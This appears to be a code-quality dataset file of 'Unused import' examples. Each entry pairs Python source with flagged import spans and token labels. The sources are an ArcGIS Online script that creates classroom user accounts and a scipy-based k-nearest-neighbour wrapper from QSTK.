\"Reassigning group ownership to \" + instructorAccount + \"...\"\n agoAdmin.reassignGroupOwnership(groupId,instructorAccount)\n print \"Done\"\nelse:\n arcpy.AddError(\"Failed to create group\")\n arcpy.AddError(group[\"error\"][\"details\"])\n print \"Failed to create group: \" + group[\"error\"][\"details\"]\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import csv, time,sys,arcpy", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 26 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Requ", "ires", " ", "admin", " ", "role", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "csv_", ",_", "time_", ",_", "sys_", ",_", "arcpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ago", "Tools_", "._", "admin_", "import_", "Admin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "Account_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "Password_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "Name_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "Snippet", "_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "csv", "File_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Prefix_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Password_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Role_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instructor", "Account_", "=_", "arcpy_", "._", "Get", "Parameter", "As", "Text_", "(_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "provider_", "=_", "\"", "arc", "gi", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "admin", "Account_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "admin", "Account_", "=_", "\"", "your", " ", "ago", " ", "account", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "admin", "Password_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "admin", "Password_", "=_", "\"", "your", " ", "ago", " ", "password", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "class", "Name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class", "Name_", "=_", "\"", "Sampl", "e", " ", "Class", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "class", "Snippet", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class", "Snippet", "_", "=_", "\"", "Snippet", " ", "go", "es", " ", "here", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "csv", "File_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csv", "File_", "=_", "r", "\"", "C", ":\\\\", "student", "s", ".", "csv", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "user", "Prefix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "Prefix_", "=_", "\"", "lab", "User", "\\u\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "user", "Password_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "Password_", "=_", "\"", "password", "1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "user", "Role_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "Role_", "=_", "\"", "account", "\\u", "user", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "provider_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "provider_", "=_", "\"", "arc", "gi", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", "Unic", "ode", " ", "is", " ", "not", " ", "encoding", " ", "proper", "ly", " ", "so", " ", "convert", " ", "all", " ", "arc", "py", " ", "params_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "admin", "Account_", "=_", "str_", "(_", "admin", "Account_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "Password_", "=_", "str_", "(_", "admin", "Password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "Name_", "=_", "str_", "(_", "class", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "Snippet", "_", "=_", "str_", "(_", "class", "Snippet", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Prefix_", "=_", "str_", "(_", "user", "Prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Password_", "=_", "str_", "(_", "user", "Password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Role_", "=_", "str_", "(_", "user", "Role_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "provider_", "=_", "str_", "(_", "provider_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arcpy_", "._", "Add", "Message_", "(_", "\"", "Log", "ging", " ", "in", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ago", "Admin_", "=_", "Admin_", "(_", "admin", "Account_", ",_", "password_", "=_", "admin", "Password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arcpy_", "._", "Add", "Error_", "(_", "\"", "Logi", "n", " ", "fail", "ed", ".", " ", "Ple", "ase", " ", "re", "-", "enter", " ", "your", " ", "admin", " ", "user", "name", " ", "and", " ", "password", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", "Get", " ", "role", "s", " ", "from", " ", "the", " ", "portal", " ", "so", " ", "we", " ", "can", " ", "translat", "e", " ", "the", " ", "user", "-", "enter", "ed", " ", "name", " ", "to", " ", "the", " ", "role", " ", "id", " ", "tha", "t", " ", "the", " ", "api", " ", "need", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", "Al", "so", " ", "confirm", " ", "tha", "t", " ", "the", " ", "user", "-", "enter", "ed", " ", "role", " ", "is", " ", "valid", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "Roles_", "=_", "ago", "Admin_", "._", "get", "Roles_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "get", "Ro", "les", " ", "doe", "sn", "'", "t", " ", "return", " ", "prede", "fined", " ", "system", " ", "role", "s", ",", " ", "so", " ", "we", "'", "ll", " ", "add", " ", "tho", "se_", "\\u\\u\\uNL\\u\\u\\u_", "roles_", "=_", "{_", "'", "Administra", "tor", "'_", ":_", "'", "org", "\\u", "admin", "'_", ",_", "'", "Publish", "er", "'_", ":_", "'", "org", "\\u", "publi", "sher", "'_", ",_", "'", "Author", "'_", ":_", "'", "org", "\\u", "author", "'_", ",_", "'", "User", "'_", ":_", "'", "org", "\\u", "viewer", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "role_", "in_", "all", "Roles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "roles_", "[_", "role_", "[_", "\"", "name", "\"_", "]_", "]_", "=_", "role_", "[_", "\"", "id", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "user", "Role_", "in_", "roles_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arcpy_", "._", "Add", "Error_", "(_", "user", "Role_", "+_", "\"", " ", "is", " ", "not", " ", "a", " ", "valid", " ", "role", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "role", "Id_", "=_", "roles_", "[_", "user", "Role_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arcpy_", "._", "Add", "Message_", "(_", "\"", "Creat", "ing", " ", "Group", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Creat", "ing", " ", "Group", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "group_", "=_", "ago", "Admin_", "._", "create", "Group_", "(_", "class", "Name_", ",_", "class", "Snippet", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "\"", "Lab", " ", "account", " ", "for", " ", "\"_", "+_", "class", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\"", "group", "\"_", "in_", "group_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group", "Id_", "=_", "group_", "[_", "\"", "group", "\"_", "]_", "[_", "\"", "id", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arcpy_", "._", "Add", "Message_", "(_", "\"", "Creat", "ing", " ", "User", "s", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Creat", "ing", " ", "User", "s", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "same", "Name", "Counter_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "open_", "(_", "csv", "File_", ",_", "\"", "rb", "\"_", ")_", "as_", "user", "File_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rows_", "=_", "csv_", "._", "reader_", "(_", "user", "File_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "Fi", "rst", "Name_", "=_", "row_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Las", "t", "Name_", "=_", "row_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Email_", "=_", "row_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "username_", "=_", "user", "Prefix_", "+_", "\"\\u\"_", "+_", "user", "Las", "t", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "username_", "in_", "users_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "username_", "+=_", "\"\\u\"_", "+_", "str_", "(_", "same", "Name", "Counter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "same", "Name", "Counter_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arcpy_", "._", "Add", "Message_", "(_", "\"", "creati", "ng", " ", "\"_", "+_", "username_", "+_", "\"...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "creati", "ng", " ", "\"_", "+_", "username_", "+_", "\"...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ago", "Admin_", "._", "create", "User_", "(_", "username_", ",_", "user", "Password_", ",_", "user", "Fi", "rst", "Name_", ",_", "user", "Las", "t", "Name_", ",_", "user", "Email_", ",_", "description_", ",_", "role", "Id_", ",_", "provider_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", "._", "append_", "(_", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arcpy_", "._", "Add", "Message_", "(_", "\"", "Add", "ing", " ", "New", " ", "User", "s", " ", "to", " ", "Group", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Add", "ing", " ", "User", "s", " ", "to", " ", "Group", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ago", "Admin_", "._", "add", "User", "s", "To", "Groups_", "(_", "users_", ",_", "[_", "group", "Id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "instructor", "Account_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arcpy_", "._", "Add", "Message_", "(_", "\"", "Rea", "ssi", "gni", "ng", " ", "group", " ", "owner", "ship", " ", "to", " ", "\"_", "+_", "instructor", "Account_", "+_", "\"...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Rea", "ssi", "gni", "ng", " ", "group", " ", "owner", "ship", " ", "to", " ", "\"_", "+_", "instructor", "Account_", "+_", "\"...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ago", "Admin_", "._", "reass", "ign", "Group", "Owne", "rshi", "p_", "(_", "group", "Id_", ",_", "instructor", "Account_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "Don", "e", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arcpy_", "._", "Add", "Error_", "(_", "\"", "Fail", "ed", " ", "to", " ", "create", " ", "group", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arcpy_", "._", "Add", "Error_", "(_", "group_", "[_", "\"", "error", "\"_", "]_", "[_", "\"", "deta", "il", "s", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "F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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
tucker777/QSTK/qstklearn/kdtknn.py
[ { "content": "\"\"\"\n(c) 2011, 2012 Georgia Tech Research Corporation\nThis source code is released under the New BSD license. Please see\nhttp://wiki.quantsoftware.org/index.php?title=QSTK_License\nfor license details.\n\nA simple wrapper for scipy.spatial.kdtree.KDTree for doing KNN\n\"\"\"\nimport math,random,sys,bisect,time\nimport numpy,scipy.spatial.distance\nfrom scipy.spatial import cKDTree\nimport cProfile,pstats,gendata\nimport numpy as np\n\n\n\n \n\nif __name__==\"__main__\":\n test()\n #prof= cProfile.Profile()\n #prof.run('test()')\n #stats = pstats.Stats(prof)\n #stats.sort_stats(\"cumulative\").print_stats()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class kdtknn(object):\n \"\"\"\n A simple wrapper of scipy.spatial.kdtree.KDTree\n \n Since the scipy KDTree implementation does not allow for incrementally adding\n data points, the entire KD-tree is rebuilt on the first call to 'query' after a\n call to 'addEvidence'. For this reason it is more efficient to add training data\n in batches.\n \"\"\"\n\n\n ", "metadata": "root.kdtknn", "header": "['module', '___EOS___']", "index": 14 }, { "content": " def __init__(self,k=3,method='mean',leafsize=10):\n \"\"\"\n Basic setup.\n \"\"\"\n self.leafsize = leafsize\n self.data = None\n self.kdt = None\n self.rebuild_tree = True\n self.k = k\n self.method = method", "metadata": "root.kdtknn.__init__", "header": "['class', 'kdtknn', '(', 'object', ')', ':', '___EOS___']", "index": 23 }, { "content": " def addEvidence(self,dataX,dataY=None):\n \"\"\"\n @summary: Add training data\n @param dataX: Data to add, either entire set with classification as last column, or not if\n the Y data is provided explicitly. Must be same width as previously appended data.\n @param dataY: Optional, can be used \n \n 'data' should be a numpy array matching the same dimensions as any data \n provided in previous calls to addEvidence, with dataY as the \n training label.\n \"\"\"\n \n ''' Slap on Y column if it is provided, if not assume it is there '''\n if not dataY == None:\n data = numpy.zeros([dataX.shape[0],dataX.shape[1]+1])\n data[:,0:dataX.shape[1]]=dataX\n data[:,(dataX.shape[1])]=dataY\n else:\n data = dataX\n \n self.rebuild_tree = True\n if self.data is None:\n self.data = data\n else:\n self.data = numpy.append(self.data,data,axis=0)", "metadata": "root.kdtknn.addEvidence", "header": "['class', 'kdtknn', '(', 'object', ')', ':', '___EOS___']", "index": 34 }, { "content": " def rebuildKDT(self):\n \"\"\"\n Force the internal KDTree to be rebuilt.\n \"\"\"\n self.kdt = cKDTree(self.data[:,:-1],leafsize=self.leafsize)\n self.rebuild_tree = False", "metadata": "root.kdtknn.rebuildKDT", "header": "['class', 'kdtknn', '(', 'object', ')', ':', '___EOS___']", "index": 60 }, { "content": " def query(self,points,k=None,method=None):\n \"\"\"\n Classify a set of test points given their k nearest neighbors.\n \n 'points' should be a numpy array with each row corresponding to a specific query.\n Returns the estimated class according to supplied method (currently only 'mode'\n and 'mean' are supported)\n \"\"\"\n if k is None:\n k = self.k\n if method is None:\n method = self.method\n if self.rebuild_tree is True:\n if self.data is None:\n return None\n self.rebuildKDT()\n\n na_dist, na_neighbors = self.kdt.query(points,k)\n \n if k == 1:\n # Reshape scalar into proper matrix\n na_dist = na_dist.reshape(-1, 1)\n na_neighbors = na_neighbors.reshape(-1, 1)\n\n n_clsses = map(lambda rslt: map(lambda p: p[-1], self.data[rslt]), na_neighbors)\n #print n_clsses\n\n if method=='mode':\n return map(lambda x: scipy.stats.stats.mode(x)[0],n_clsses)[0]\n elif method=='mean':\n return numpy.array(map(lambda x: numpy.mean(x),n_clsses))\n elif method=='median':\n return numpy.array(map(lambda x: numpy.median(x),n_clsses))\n elif method=='raw':\n return numpy.array(n_clsses)\n elif method=='all':\n return numpy.array(n_clsses), na_dist", "metadata": "root.kdtknn.query", "header": "['class', 'kdtknn', '(', 'object', ')', ':', '___EOS___']", "index": 67 }, { "content": "def getflatcsv(fname):\n inf = open(fname)\n return numpy.array([map(float,s.strip().split(',')) for s in inf.readlines()])", "metadata": "root.getflatcsv", "header": "['module', '___EOS___']", "index": 105 }, { "content": "def testgendata():\n fname = 'test2.dat'\n querys = 1000\n d = 2\n k=3\n bnds = ((-10,10),)*d\n clsses = (0,1)\n data = getflatcsv(fname)\n kdt = kdtknn(k,method='mode')\n kdt.addEvidence(data)\n kdt.rebuildKDT()\n stime = time.time()\n for x in xrange(querys):\n pnt = numpy.array(gendata.gensingle(d,bnds,clsses))\n reslt = kdt.query(numpy.array([pnt[:-1]]))\n print pnt,\"->\",reslt\n etime = time.time()\n print etime-stime,'/',querys,'=',(etime-stime)/float(querys),'avg wallclock time per query'\n #foo.addEvidence(data[:,:-1],data[:,-1])\n #foo.num_checks = 0\n #for x in xrange(querys):\n # pnt = numpy.array(gendata.gensingle(d,bnds,clsses))\n # foo.query(pnt[:-1],3)\n # if x % 50 == 0:\n # print float(foo.num_checks)/float(x+1),\n # print x,\"/\",querys\n #print \"Average # queries:\", float(foo.num_checks)/float(querys)", "metadata": "root.testgendata", "header": "['module', '___EOS___']", "index": 109 }, { "content": "def test():\n testgendata()", "metadata": "root.test", "header": "['module', '___EOS___']", "index": 137 } ]
[ { "span": "import math,random,sys,bisect,time", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 34 }, { "span": "import cProfile,pstats,gendata", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 30 }, { "span": "import numpy as np", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 18 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "(", "c", ")", " ", "2011", ",", " ", "2012", " ", "Georg", "ia", " ", "Te", "ch", " ", "Rese", "arch", " ", "Cor", "porat", "ion", "\\", "10", ";", "Thi", "s", " ", "source", " ", "code", " ", "is", " ", "released", " ", "under", " ", "the", " ", "New", " ", "BS", "D", " ", "license", ".", " ", " ", "Ple", "ase", " ", "see", "\\", "10", ";", "http", "://", "wiki", ".", "quant", "software", ".", "org", "/", "index", ".", "php", "?", "title", "=", "QS", "TK", "\\u", "License", "\\", "10", ";", "for", " ", "license", " ", "deta", "il", "s", ".", "\\", "10", ";", "\\", "10", ";", "A", " ", "simple", " ", "wrapp", "er", " ", "for", " ", "sci", "py", ".", "spat", "ial", ".", "kd", "tree", ".", "KD", "Tree", " ", "for", " ", "doi", "ng", " ", "KN", "N", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", ",_", "random_", ",_", "sys_", ",_", "bisect_", ",_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", ",_", "scipy_", "._", "spatial_", "._", "distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scipy_", "._", "spatial_", "import_", "c", "KD", "Tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "c", "Profile_", ",_", "pstat", "s_", ",_", "gen", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "prof", "=", " ", "c", "Profil", "e", ".", "Profil", "e", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "prof", ".", "run", "('", "test", "()'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "stats", " ", "=", " ", "pstat", "s", ".", "Stat", "s", "(", "prof", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "stats", ".", "sort", "\\u", "stats", "(\"", "cumul", "ative", "\")", ".", "print", "\\u", "stats", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "kd", "tk", "nn_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "simple", " ", "wrapp", "er", " ", "of", " ", "sci", "py", ".", "spat", "ial", ".", "kd", "tree", ".", "KD", "Tree", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Sin", "ce", " ", "the", " ", "sci", "py", " ", "KD", "Tree", " ", "implementation", " ", "doe", "s", " ", "not", " ", "allow", " ", "for", " ", "incremental", "ly", " ", "addin", "g", "\\", "10", ";", " ", " ", " ", " ", "data", " ", "points", ",", " ", "the", " ", "entire", " ", "KD", "-", "tree", " ", "is", " ", "rebu", "ilt", " ", "on", " ", "the", " ", "first", " ", "call", " ", "to", " ", "'", "query", "'", " ", "after", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "call", " ", "to", " ", "'", "add", "Evi", "denc", "e", "'.", " ", "For", " ", "this", " ", "reason", " ", "it", " ", "is", " ", "more", " ", "efficien", "t", " ", "to", " ", "add", " ", "train", "ing", " ", "data", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "batche", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "kd", "tk", "nn_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "k_", "=_", "3_", ",_", "method_", "=_", "'", "mean", "'_", ",_", "leaf", "size_", "=_", "10_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Basic", " ", "setup", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "leaf", "size_", "=_", "leaf", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "kd", "t_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rebu", "ild", "\\u", "tree_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "k_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "method_", "=_", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "kd", "tk", "nn_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Evi", "denc", "e_", "(_", "self_", ",_", "data", "X_", ",_", "data", "Y_", "=_", "None_", 